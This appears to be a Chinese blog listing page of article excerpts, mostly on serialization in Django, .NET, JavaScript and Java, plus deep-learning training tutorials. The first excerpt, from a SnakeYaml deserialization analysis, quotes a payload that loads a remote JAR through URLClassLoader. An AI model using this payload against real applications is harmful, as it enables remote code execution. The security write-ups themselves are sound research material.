随想录 训练营 序列 随想
SnakeYaml的不出网反序列化利用分析
SnakeYaml的常见出网利用方式： !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
下篇 | 使用 🤗 Transformers 进行概率时间序列预测
在《使用 🤗 Transformers 进行概率时间序列预测》的第一部分里，我们为大家介绍了传统时间序列预测和基于 Transformers 的方法，也一步步准备好了训练所需的数据集并定义了环境、模型、转换和 InstanceSplitter。本篇内容将包含从数据加载器，到前向传播、训练、推理和展 ......
从 PyTorch DDP 到 Accelerate 到 Trainer，轻松掌握分布式训练
概述 本教程假定你已经对于 PyToch 训练一个简单模型有一定的基础理解。本教程将展示使用 3 种封装层级不同的方法调用 DDP (DistributedDataParallel) 进程，在多个 GPU 上训练同一个模型： 使用 pytorch.distributed 模块的原生 PyTorch ......
django框架之drf：4、序列化器常用字段及参数，序列化器高级用法之source，定制字段数据的两种方法，多表关联反序列化的保存，ModelSerializer的使用
Django框架之drf 一、序列化器常用字段及参数 # 序列化类 》字段类 CharField，除此之外还有哪些其他的 # 序列化类 》字段类，字段类上，传属性的 ，序列化类上，也可以写属性 models.CharField(max_length=32) 1、常用字段 | 字段 | 字段构造方式 ......
Django框架之drf：5、反序列化器校验部分源码分析，断言，drf之请求与响应，视图组件介绍及两个视图基类，代码部分实战
Django框架之drf 一、反序列化类校验部分源码解析 反序列化校验什么时候开始执行校验？ 剖析流程一：在视图中使用反序列化器实例化的对象调用is_valid()的时候就会进行校验，通贩校验返回True，反之False class BookView(APIView): # 新增 def post( ......
ApiView/Request类源码分析/序列化器
内容概要 ApiView+JsonResponse编写接口 ApiView+Response编写接口 ApiView源码解析 Request对象源码分析 序列化器介绍和快速使用/反序列化 反序列化的校验 ApiView+JsonResponse编写接口 我们还是在models模型层中创建一个book ......
java反序列化基础
前言：最近开始学习java的序列化与反序列化，现在从原生的序列化与反序列化开始，小小的记录一下 参考文章：https://blog.csdn.net/mocas_wang/article/details/107621010 01.什么是序列化与反序列化 其实java的序列化说白了就是将一个对象转换成 ......
从设计110序列检测器来看--同步时序电路设计
#从设计110序列检测器来看--同步时序电路设计 开学临近，本人查缺补漏，应对推迟的期末考试 同步时序逻辑设计，难度有所增加，本人欲通过110序列检测器来解决这一问题点： ##设计步骤： 1.获取原始状态图与状态表--分析状态图表 2.最简化状态图表 3.状态编码 4.利用状态转移表与触发器特征设计 ......
JavaScript 中URL 查询字符串(query string)的序列与反序列化
方法一： 在 JavaScript 中，可以使用 URLSearchParams 对象来处理 URL 中的查询字符串。 序列化（将 JavaScript 对象转换为查询字符串）可以使用 URLSearchParams 对象的 append() 方法，如下所示： let params = new UR ......
【Django drf】 序列化类常用字段类和字段参数 定制序列化字段的两种方式 关系表外键字段的反序列化保存 序列化类继承ModelSerializer 反序列化数据校验源码分析
序列化类常用字段类和字段参数 常用字段类 # BooleanField BooleanField() # NullBooleanField NullBooleanField() # CharField CharField(max_length=None, min_length=None, allow ......
Pytorch：单卡多进程并行训练
在深度学习的项目中，我们进行单机多进程编程时一般不直接使用multiprocessing模块，而是使用其替代品torch.multiprocessing模块。它支持完全相同的操作，但对其进行了扩展。Python的multiprocessing模块可使用fork、spawn、forkserver三种方... ......
又一重要进展发布！OpenMMLab算法仓支持昇腾AI训练加速
摘要：上海人工智能实验室的浦视开源算法体系（OpenMMLab）团队基于昇腾AI发布了MMDeploy 0.10.0版本，该版本已支持OpenMMLab算法仓库在昇腾异构计算架构CANN上的推理部署。 本文分享自华为云社区《又一重要进展发布！OpenMMLab算法仓支持昇腾AI训练加速》，作者：昇腾 ......
.NET 云原生架构师训练营（基于 OP Storming 和 Actor 的大型分布式架构三）--学习笔记
目录 为什么我们用 Orleans Dapr VS Orleans Actor 模型 Orleans 的核心概念 结合 OP Storming 的实践 结合 OP Storming 的实践 业务模型 设计模型 代码实现 代码实现 HelloOrleans.Host Orleans.Providers ......
WebGoat-8.2.2靶场之不安全的反序列化漏洞
前言 序列化是将变量或对象转换成字符串的过程 反序列化就是把一个对象变成可以传输的字符串，目的就是为了方便传输 而反序列化漏洞就是，假设，我们写了一个class，这个class里面存有一些变量。当这个class被实例化了之后，在使用过程中里面的一些变量值发生了改变，之所以会产生反序列化漏洞是因为应用 ......
基于SqlSugar的开发框架循序渐进介绍（24）-- 使用Serialize.Linq对Lambda表达式进行序列化和反序列化
在上篇随笔《基于SqlSugar的开发框架循序渐进介绍（23）-- Winform端管理系统中平滑增加对Web API对接的需求》中介绍了基于一个接口，实现对两种不同接入方式（直接访问数据库实现，基于Web API代理类实现）的处理，由于定义的接口中，我们为了方便，也是用了Lambda表达式的进行一... ......
ArcObjects SDK 025 对象的序列化和反序列化
在ArcObjects SDK，序列化接口是IPersistStream，该接口的定义如下。 其中GetClassID函数可以获取实际类型的唯一ID，Load函数是反序列化函数，Save函数为序列化函数。我们看下Load和Save函数是接收什么参数。 Save函数的定义如下所示。 public vo ......
C#应用程序配置文件（XML序列化） - 开源研究系列文章
上次写了一个C#线程池及管理器的博文（ C#开发的线程池和管理器 - 开源研究系列文章 ），收到了不小的浏览量，在此感谢各位网友的支持。这次将另一个功能放出来单独讲解：C#应用程序的配置文件，使用的是XML文件保存程序的配置信息，通过XML序列化和反序列化，将配置文件规范起来。 一、 项目目录； 项 ......
.NET 云原生架构师训练营（基于 OP Storming 和 Actor 的大型分布式架构二）--学习笔记
目录 为什么我们用 Orleans Dapr VS Orleans Actor 模型 Orleans 的核心概念 结合 OP Storming 的实践 结合 OP Storming 的实践 业务模型 设计模型 代码实现 业务模型 我们可以把关键对象（职位、客户行为记录、线索）参考为 actor 猎头 ......
如何使用 System.Text.Json 序列化 DateTimeOffset 为 Unix 时间戳
在 .NET 中，日期和时间通常使用 DateTime 或 DateTimeOffset 来表示。这两种数据类型都可以表示日期和时间，但它们之间有一些明显的区别。DateTime 是不带时区信息的，而 DateTimeOffset 是带时区偏移量的，可以用来表示一个特定的时刻。 在现代 web 应用 ......
Django框架：10、Ajax补充说明、多对多三种创建方法、Django内置序列化组件、批量操作数据方法、分页器思路
Django框架 一、Ajax补充说明 1、针对前端回调函数接受值的说明 主要针对回调函数args接收到的响应数据 1、后端如何判断请求发出方式 关键词：is_ajax() 通过request点的方式可以判断请求是否由Ajax发出 def home(request): print(request.i ......
.NET 云原生架构师训练营（基于 OP Storming 和 Actor 的大型分布式架构一）--学习笔记
目录 为什么我们用 Orleans Dapr VS Orleans Actor 模型 Orleans 的核心概念 为什么我们用 Orleans 分布式系统开发、测试的难度（服务发现、通信） 运维的复杂度（伸缩性与可靠性的保障） actor 拥有全局唯一身份 自动伸缩功能 Dapr VS Orlean ......
【机器学习】李宏毅——类神经网络训练不起来怎么办
如何判断导数值为零的点的类型 当发现训练数据集误差不再下降的时候，不是只有卡在局部最小值的情况，还有另外一种情况是处于鞍点，鞍点位置处虽然其导函数为零，但是其既不是局部最大值也不是局部最小值，如图： 因此，我们把局部最小值和鞍点这种点统称为驻点（critical point），但这两种情况是截然不同 ......
深度学习-网络训练流程说明
1.背景 分类神经网络模型：Mobilenetv3。 深度学习框架：PyTorch。 Mobilenetv3简单的手写数字识别： 任务输入：一系列手写数字图片，其中每张图片都是28x28的像素矩阵。 任务输出：经过了大小归一化和居中处理，输出对应的0~9数字标签。 项目参考代码：https://gi ......
图神经网络之预训练大模型结合：ERNIESage在链接预测任务应用
通过以上两个版本的模型代码简单的讲解，我们可以知道他们的不同点，其实主要就是在消息传递机制的部分有所不同。ERNIESageV1版本只作用在text graph的节点上，在传递消息(Send阶段)时只考虑了邻居本身的文本信息；而ERNIESageV2版本则作用在了边上，在Send阶段同时考虑了当前节... ......
.net6&7中如何优雅且高性能的使用Json序列化
.net中的SourceGenerator让开发者编可以写分析器，在项目代码编译时，分析器分析项目既有的静态代码，允许添加源代码到GeneratorExecutionContext中，一同与既有的代码参与编译。这种技术其实是把一些运行时才能去获取程序集相关资源的方式提前到编译前了。 .net6开始， ......
label studio 结合 MMDetection 实现数据集自动标记、模型迭代训练的闭环
一个 AI 方向的朋友因为标数据集发了篇 SCI 论文，看着他标了两个多月的数据集这么辛苦，就想着人工智能都能站在围棋巅峰了，难道不能动动小手为自己标数据吗？查了一下还真有一些能够满足此需求的框架，比如 [cvat]、 [doccano] 、 [label studio]等，经过简单的对比后发现还... ......
Fastjsonfan反序列化(1)
前言 之前只是对FastJson漏洞有简单的一个认知，虽然由于网上fastjson漏洞调试的文章很多，但是真正有着自己的理解并能清楚的讲述出来的文章少之又少。大多文章都是对已知的漏洞调用流程做了大量分析，但是技术细节究竟是怎么实现的？实现的有什么问题？安全上能带来什么？ “这是最好的时代，也是最坏的 ......
使用.NET7和C#11打造最快的序列化程序-以MemoryPack为例
译者注 本文是一篇不可多得的好文，MemoryPack 的作者 neuecc 大佬通过本文解释了他是如何将序列化程序性能提升到极致的；其中从很多方面(可变长度、字符串、集合等)解释了一些性能优化的技巧，值得每一个开发人员学习，特别是框架的开发人员的学习，一定能让大家获益匪浅。 简介 我发布了一个名为 ......